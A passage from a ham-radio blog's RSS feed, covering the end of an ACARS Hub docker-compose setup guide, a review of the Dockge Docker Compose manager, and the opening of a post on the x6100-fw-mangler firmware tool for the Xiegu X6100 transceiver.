<p class="wp-block-paragraph">Using these, you can stream messages into the container and even pipe data out to other systems for further analysis or visualization.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Docker-Compose: The Fast Track Setup</h3>



<p class="wp-block-paragraph">Here’s a minimal working setup for your <code>docker-compose.yaml</code>:</p>



<pre class="wp-block-code"><code>services:
  acarshub:
    image: sdrenthusiasts/acarshub:latest
    ports:
      - 80:80
      - 5550:5550/udp
      - 5555:5555/udp
      - 5556:5556/udp
      - 5557:5557/udp
      - 5558:5558/udp
      - 15550:15550
      - 15555:15555
      - 15556:15556
      - 15557:15557
      - 15558:15558
    volumes:
      - acarshub_data:/run/acars
    environment:
      - ENABLE_WEB=true
      - ENABLE_ACARS=external
      - ENABLE_VDLM=external
      - DB_SAVEALL=false
volumes:
  acarshub_data:
</code></pre>



<p class="wp-block-paragraph">This setup enables ACARS and VDLM2 processing, exposes the necessary ports, and stores data on a local volume.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Performance Tips</h3>



<p class="wp-block-paragraph">Running a database on something lightweight like a Raspberry Pi? You’ll want to:</p>



<ul class="wp-block-list">
<li>Mount <code>/run/acars/</code> as a <code>tmpfs</code> to reduce SD card writes</li>



<li>Set <code>DB_SAVEALL=false</code> to avoid storing uninformative messages</li>



<li>Limit data retention by adjusting <code>DB_SAVE_DAYS</code></li>
</ul>



<p class="wp-block-paragraph">Want better search speed? Temporarily enable <code>AUTO_VACUUM=true</code> to clean the database.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Enhancing Your Map with ADS-B Data</h3>



<p class="wp-block-paragraph">To display ADS-B targets on the ACARS Hub map:</p>



<ol class="wp-block-list">
<li>Run <a href="https://chatgpt.com/c/w"><code>tar1090</code></a> and <code>readsb</code> on the same host</li>



<li>Enable ADS-B in ACARS Hub with: <code>- ENABLE_ADSB=true - ADSB_URL=http://tar1090/data/aircraft.json</code></li>



<li>Set your lat/lon for correct range rings</li>
</ol>



<p class="wp-block-paragraph">You’ll be able to click aircraft on the map and see related messages.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Make the Data Accurate for Your Region</h3>



<p class="wp-block-paragraph">Airline codes can be tricky. If you notice callsigns mapping incorrectly (e.g. UPS showing up as BahamasAir), you can fix them locally using the <code>IATA_OVERRIDE</code> environment variable. Example:</p>



<pre class="wp-block-code"><code>IATA_OVERRIDE=UP|UPS|United Parcel Service;US|AAL|American Airlines
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Web Interface &amp; Tricks</h3>



<p class="wp-block-paragraph">ACARS Hub has a responsive web UI on port 80. You can:</p>



<ul class="wp-block-list">
<li>Press <code>p</code> on the Live Messages page to pause auto-scroll</li>



<li>Use the search page to filter messages by keyword or callsign</li>



<li>Connect other tools or visualizers to exposed JSON ports like <code>15555</code> (VDLM2) or <code>15550</code> (ACARS)</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Future Developments</h3>



<p class="wp-block-paragraph">The project’s active and rapidly evolving. Upcoming features include:</p>



<ul class="wp-block-list">
<li>A revamped UI</li>



<li>Desktop apps</li>



<li>Improved message matching between ACARS and ADS-B</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Get Help or Contribute</h3>



<p class="wp-block-paragraph">ACARS Hub is open-source and community-driven. You can:</p>



<ul class="wp-block-list">
<li><a href="https://github.com/sdr-enthusiasts/acarshub">Raise issues or contribute code on GitHub</a></li>



<li>Join the <a href="https://discord.gg/YVVjQxgA">Discord server</a> for support and ideas</li>
</ul>



<p class="wp-block-paragraph">Whether you&#8217;re a seasoned SDR hobbyist or new to decoding, ACARS Hub makes it easier than ever to monitor real-world aircraft communication with real-time visualization and analysis.</p>



<p class="wp-block-paragraph">Visit <strong><a href="https://github.com/sdr-enthusiasts/docker-acarshub">https://github.com/sdr-enthusiasts/docker-acarshub</a></strong></p>
<p>The post <a href="https://hamradio.my/2025/06/a-look-into-acars-hub-and-how-to-set-it-up-on-your-sdr-system/">A Look into ACARS Hub and How to Set It Up on Your SDR System</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/06/a-look-into-acars-hub-and-how-to-set-it-up-on-your-sdr-system/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Dockge: The Ultimate Docker Compose Manager for Modern Self-Hosters</title>
		<link>https://hamradio.my/2025/06/dockge-the-ultimate-docker-compose-manager-for-modern-self-hosters/</link>
					<comments>https://hamradio.my/2025/06/dockge-the-ultimate-docker-compose-manager-for-modern-self-hosters/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Sun, 29 Jun 2025 16:54:39 +0000</pubDate>
				<category><![CDATA[containerization]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[maintenance]]></category>
		<category><![CDATA[composemanager]]></category>
		<category><![CDATA[containers]]></category>
		<category><![CDATA[devops]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[dockercompose]]></category>
		<category><![CDATA[dockertools]]></category>
		<category><![CDATA[dockerui]]></category>
		<category><![CDATA[dockge]]></category>
		<category><![CDATA[homelab]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[opensource]]></category>
		<category><![CDATA[selfhosted]]></category>
		<category><![CDATA[selfhostedapps]]></category>
		<category><![CDATA[selfhosting]]></category>
		<category><![CDATA[servermanagement]]></category>
		<category><![CDATA[softwaretools]]></category>
		<category><![CDATA[SysAdmin]]></category>
		<category><![CDATA[techstack]]></category>
		<category><![CDATA[webui]]></category>
		<category><![CDATA[yaml]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7570</guid>

					<description><![CDATA[<p>In the evolving world of containerized infrastructure, managing Docker Compose projects can be either a seamless dream or an administrative nightmare. For those who want power, clarity, and elegance in managing their Docker Compose stacks—without relying on bloated dashboards—meet Dockge. Developed by Louis Lam, the creator of Uptime Kuma, Dockge is a sleek, self-hosted solution [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/06/dockge-the-ultimate-docker-compose-manager-for-modern-self-hosters/">Dockge: The Ultimate Docker Compose Manager for Modern Self-Hosters</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">In the evolving world of containerized infrastructure, managing Docker Compose projects can be either a seamless dream or an administrative nightmare. For those who want power, clarity, and elegance in managing their Docker Compose stacks—<strong>without relying on bloated dashboards</strong>—meet <strong>Dockge</strong>.</p>



<p class="wp-block-paragraph">Developed by <strong>Louis Lam</strong>, the creator of Uptime Kuma, Dockge is a sleek, self-hosted solution for managing your <code>docker-compose.yaml</code> files in a user-friendly, modern web UI—directly from your own infrastructure.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6a2.png" alt="🚢" class="wp-smiley" style="height: 1em; max-height: 1em;" /> What Is Dockge?</h2>



<p class="wp-block-paragraph">Dockge is a <strong>Docker Compose manager</strong> that acts as a control center for all your containerized applications. Unlike heavyweight orchestration platforms like Portainer or Rancher, Dockge <strong>doesn’t abstract away your Compose files</strong>—instead, it embraces them.</p>



<p class="wp-block-paragraph">It runs in your browser, provides a beautiful and responsive interface, and gives you full control over managing, editing, and deploying Docker Compose stacks.</p>



<p class="wp-block-paragraph">If you’ve been manually juggling <code>docker-compose up</code>, <code>down</code>, <code>logs</code>, and <code>pull</code> across multiple folders and terminals, Dockge will feel like a leap into the future.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f527.png" alt="🔧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Core Features That Make Dockge Shine</h2>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e9.png" alt="🧩" class="wp-smiley" style="height: 1em; max-height: 1em;" /> File-Centric Management</h3>



<p class="wp-block-paragraph">Dockge doesn’t lock you into a database or an internal config. Your <code>compose.yaml</code> files live on disk, exactly where you put them. Want to edit them outside Dockge? Go ahead. Dockge simply reflects and operates on your actual file structure.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5a5.png" alt="🖥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Clean, Reactive UI</h3>



<p class="wp-block-paragraph">Built with modern web technologies (likely Vue/React), Dockge’s interface is snappy and beautiful. Navigating your projects, spinning containers up and down, and checking logs feels almost instantaneous.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/270d.png" alt="✍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Built-in YAML Editor</h3>



<p class="wp-block-paragraph">No need to SSH in or fumble through nano. Dockge provides an in-browser YAML editor with syntax highlighting, so you can tweak your Compose files in real-time, from any device.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Manage Container Lifecycle</h3>



<p class="wp-block-paragraph">With just a few clicks, you can:</p>



<ul class="wp-block-list">
<li>Start or stop containers</li>



<li>Restart entire stacks</li>



<li>Pull new images</li>



<li>View live logs</li>



<li>See environment variables</li>
</ul>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c1.png" alt="📁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Multiple Project Support</h3>



<p class="wp-block-paragraph">Dockge supports multiple projects, each represented as a folder containing a Compose file. Think of it as a workspace manager—ideal for homelabbers running various self-hosted services like Home Assistant, Nextcloud, Pi-hole, Jellyfin, etc.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f310.png" alt="🌐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Web Terminal</h3>



<p class="wp-block-paragraph">Need to run a one-off command inside a container? The integrated web terminal gives you shell access right in the browser, without needing to <code>docker exec</code> manually.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Convert Docker Run to Compose</h3>



<p class="wp-block-paragraph">This underrated feature lets you paste a <code>docker run</code> command and convert it into a <code>docker-compose.yaml</code> file. It’s a brilliant way to transition your one-off containers to managed stacks.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3af.png" alt="🎯" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Who Is Dockge For?</h2>



<p class="wp-block-paragraph">Dockge is tailor-made for:</p>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9d1-200d-1f4bb.png" alt="🧑‍💻" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Developers</strong> who want more control over containerized environments.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3e0.png" alt="🏠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Self-hosting enthusiasts</strong> looking for clean, no-nonsense management of their homelab apps.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Tech-savvy hobbyists</strong> who don’t want to learn Kubernetes or manage overkill dashboards.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Minimalists</strong> who believe that good tools should be powerful <em>and</em> elegant.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Getting Started with Dockge</h2>



<p class="wp-block-paragraph">Setting up Dockge is incredibly simple—if you already use Docker Compose, you’re halfway there. Here’s a high-level overview:</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 1. Clone the Repository</h3>



<pre class="wp-block-code"><code>git clone https://github.com/louislam/dockge /opt/dockge
</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c1.png" alt="📁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 2. Move Into the Directory</h3>



<pre class="wp-block-code"><code>cd /opt/dockge
</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3d7.png" alt="🏗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 3. Start the Service</h3>



<pre class="wp-block-code"><code>docker compose up -d
</code></pre>



<p class="wp-block-paragraph">By default, Dockge runs a web server where you can start managing your Compose projects immediately. It reads your existing file structure, meaning there’s <strong>no database</strong> to configure and <strong>no vendor lock-in</strong>.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 4. Optional: Add Auth and SSL</h3>



<p class="wp-block-paragraph">You can easily integrate it behind a reverse proxy with basic auth or OAuth (via Nginx, Traefik, etc.) to keep your setup secure.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4ac.png" alt="💬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Community &amp; Support</h2>



<p class="wp-block-paragraph">Dockge is a growing open-source project with an active and supportive community. Here’s how to get involved:</p>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5e3.png" alt="🗣" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Join <a href="https://github.com/louislam/dockge/discussions">GitHub Discussions</a></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f41e.png" alt="🐞" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Report bugs and suggest features via <a href="https://github.com/louislam/dockge/issues">GitHub Issues</a></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f91d.png" alt="🤝" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Contribute code or docs to help the project grow</li>
</ul>



<p class="wp-block-paragraph">Louis Lam has a reputation for responsiveness and quality (just look at Uptime Kuma’s success), so Dockge is in good hands.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ed.png" alt="🧭" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Dockge vs Alternatives</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Feature</th><th>Dockge</th><th>Portainer</th><th>Yacht</th></tr></thead><tbody><tr><td>Compose-first design</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Yes</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> No (UI-driven)</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Yes</td></tr><tr><td>File-based</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Yes</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> No</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Yes</td></tr><tr><td>Lightweight UI</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Blazing fast</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Heavy</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Moderate</td></tr><tr><td>Conversion Tools</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> docker run → compose</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> No</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> No</td></tr><tr><td>Terminal Access</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Built-in</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> No</td></tr><tr><td>Multi-project</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Excellent</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts: Should You Use Dockge?</h2>



<p class="wp-block-paragraph"><strong>Absolutely—especially if you value clean interfaces and control.</strong></p>



<p class="wp-block-paragraph">Dockge bridges the gap between command-line flexibility and modern user interfaces. It’s the perfect tool for self-hosters and developers who want a <strong>non-intrusive</strong>, <strong>elegant</strong>, and <strong>functional</strong> way to manage Docker Compose environments.</p>



<p class="wp-block-paragraph">Whether you&#8217;re managing a fleet of Raspberry Pis, running a mini data center at home, or just hosting your personal blog and media server, Dockge will make your life easier.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Explore More</h2>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> GitHub: <a href="https://github.com/louislam/dockge">https://github.com/louislam/dockge</a></p>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Try it, star it, and join the conversation. Your containers will thank you.</p>
<p>The post <a href="https://hamradio.my/2025/06/dockge-the-ultimate-docker-compose-manager-for-modern-self-hosters/">Dockge: The Ultimate Docker Compose Manager for Modern Self-Hosters</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/06/dockge-the-ultimate-docker-compose-manager-for-modern-self-hosters/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>X6100 Firmware Mangler: The Way to Hack and Tinker Your Xiegu X6100 (MARS mod)</title>
		<link>https://hamradio.my/2025/06/x6100-firmware-mangler-the-way-to-hack-and-tinker-your-xiegu-x6100-mars-mod/</link>
					<comments>https://hamradio.my/2025/06/x6100-firmware-mangler-the-way-to-hack-and-tinker-your-xiegu-x6100-mars-mod/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Sun, 29 Jun 2025 10:05:44 +0000</pubDate>
				<category><![CDATA[amateur radio]]></category>
		<category><![CDATA[ham radio]]></category>
		<category><![CDATA[MARS mod]]></category>
		<category><![CDATA[radio amatir]]></category>
		<category><![CDATA[radio amatur]]></category>
		<category><![CDATA[xiegu]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[firmware hacking]]></category>
		<category><![CDATA[hamradio]]></category>
		<category><![CDATA[HF radio]]></category>
		<category><![CDATA[linux embedded]]></category>
		<category><![CDATA[malaysia]]></category>
		<category><![CDATA[open firmware]]></category>
		<category><![CDATA[qemu]]></category>
		<category><![CDATA[RadioAmatur]]></category>
		<category><![CDATA[sdr]]></category>
		<category><![CDATA[transceiver]]></category>
		<category><![CDATA[tx unlock]]></category>
		<category><![CDATA[unlock]]></category>
		<category><![CDATA[x6100]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=8076</guid>

					<description><![CDATA[<p>If you&#8217;re running a Xiegu X6100 and find yourself itching to explore what lies beneath its firmware, you’re not alone. But cracking it open safely and consistently? That’s where x6100-fw-mangler by @j0ju shines. This project makes customizing and experimenting with X6100 firmware reproducible, debuggable, and way less painful—whether you&#8217;re tweaking system internals, creating multiboot images, [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/06/x6100-firmware-mangler-the-way-to-hack-and-tinker-your-xiegu-x6100-mars-mod/">X6100 Firmware Mangler: The Way to Hack and Tinker Your Xiegu X6100 (MARS mod)</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 class="wp-block-heading"></h1>



<p class="wp-block-paragraph">If you&#8217;re running a <a href="https://xiegu.eu/product/xiegu-x6100-hf-50mhz-portable-sdr-transceiver/"><strong>Xiegu X6100</strong></a> and find yourself itching to explore what lies beneath its firmware, you’re not alone. But cracking it open safely and consistently? That’s where <strong><a href="https://github.com/j0ju/x6100-fw-mangler">x6100-fw-mangler</a></strong> by <a href="https://github.com/j0ju">@j0ju</a> shines.</p>



<p class="wp-block-paragraph">This project makes customizing and experimenting with X6100 firmware <strong>reproducible</strong>, <strong>debuggable</strong>, and way less painful—whether you&#8217;re tweaking system internals, creating multiboot images, or just injecting some extra userland tools.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why This Project Exists</h2>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Because modding your radio should be <strong>fun</strong>, not a guessing game.</p>
</blockquote>



<p class="wp-block-paragraph">The X6100 is a fantastic device for amateur radio operators—but modding it has traditionally been tricky. The <code>x6100-fw-mangler</code> was built to:</p>



<ul class="wp-block-list">
<li>Simplify custom firmware builds</li>



<li>Enable modifications without risking a brick</li>



<li>Make the process <strong>transparent</strong>, <strong>reversible</strong>, and <strong>Dockerized</strong></li>
</ul>



<p class="wp-block-paragraph">It’s a tool not just for flashing, but for learning, poking, and understanding how the X6100 boots and behaves.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> What It Does</h2>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f1.png" alt="🧱" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Generates bootable SD card or eMMC update images</strong></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Applies modifications to firmware safely inside a container</strong></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f427.png" alt="🐧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Adds Alpine Linux userland tools to enhance functionality</strong></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f501.png" alt="🔁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Builds multiboot setups</strong> (Xiegu stock + R1CBU open firmware)</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Supports original and open-source firmware (R1CBU)</strong></li>
</ul>



<p class="wp-block-paragraph">You’ll be able to fully customize the system image and boot your X6100 from SD or flash it to internal storage.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f0.png" alt="🧰" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Key Features</h2>



<ul class="wp-block-list">
<li><strong>Docker-powered</strong>, no need to pollute your host with toolchains.</li>



<li>Uses <code>qemu-user-static</code> to emulate ARM and modify firmware even on x86.</li>



<li>Custom SD card images with:
<ul class="wp-block-list">
<li>Alpine utilities</li>



<li>Bluetooth pairing scripts</li>



<li>Shell and serial tweaks</li>



<li>Automount disabled</li>



<li>GUI recoloring (cyan instead of red)</li>
</ul>
</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Supported Image Types</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Image Name</th><th>Description</th></tr></thead><tbody><tr><td><code>xiegu-v1.1.7-vanilla</code></td><td>Stock Xiegu firmware</td></tr><tr><td><code>r1cbu-v0.17.1-vanilla</code></td><td>R1CBU open firmware</td></tr><tr><td><code>xiegu-v1.1.7-modded</code></td><td>Xiegu firmware with extra tools</td></tr><tr><td><code>r1cbu-v0.17.1-modded</code></td><td>R1CBU firmware with extensions</td></tr><tr><td><code>multiboot-vanilla</code></td><td>Both firmware types in one SD card (boot switchable)</td></tr><tr><td><code>multiboot-modded</code></td><td>Modded versions of both firmwares in one image</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Hold the <strong>left-most button during boot</strong> to switch to the R1CBU firmware.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2699.png" alt="⚙" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Example Commands</h2>



<pre class="wp-block-code"><code>make xiegu-v1.1.7-modded.sdcard.img
make r1cbu-v0.17.1-modded.update.img
make multiboot-modded.sdcard.img
</code></pre>



<p class="wp-block-paragraph">Need to unpack a random unknown <code>.img</code> file?</p>



<pre class="wp-block-code"><code>cp my-image.img unknown-beauty.img
make unknown-beauty.tar
</code></pre>



<p class="wp-block-paragraph">This gives you a <code>.tar</code> archive of the image content for analysis.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> How It Works (Under the Hood)</h2>



<ol class="wp-block-list">
<li>A Docker image called <code>x6100:img-mangler</code> is built with required tools.</li>



<li><code>.url</code> files download official firmware (stock or R1CBU).</li>



<li>Firmware images are unpacked into <code>/target</code>.</li>



<li>Mods are applied (via Docker layers).</li>



<li>New <code>.sdcard.img</code> or <code>.update.img</code> files are output.</li>
</ol>



<p class="wp-block-paragraph">Linux users with <code>binfmt_misc</code> can chroot into the ARM image using QEMU—no real device needed.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f427.png" alt="🐧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> WiFi + Console Tips</h2>



<p class="wp-block-paragraph">To connect to WiFi from serial console:</p>



<pre class="wp-block-code"><code>nmcli device wifi connect YOUR_SSID password YOUR_PASS
</code></pre>



<p class="wp-block-paragraph">If you&#8217;re having issues with WPA3:</p>



<pre class="wp-block-code"><code>nmcli conn down YOUR_SSID
nmcli conn edit YOUR_SSID &lt;&lt; EOF
  set wifi-sec.key-mgmt wpa-psk
EOF
nmcli conn up YOUR_SSID
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c8.png" alt="📈" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Frequency Extension (TX Unlock / MARS Mod)</h2>



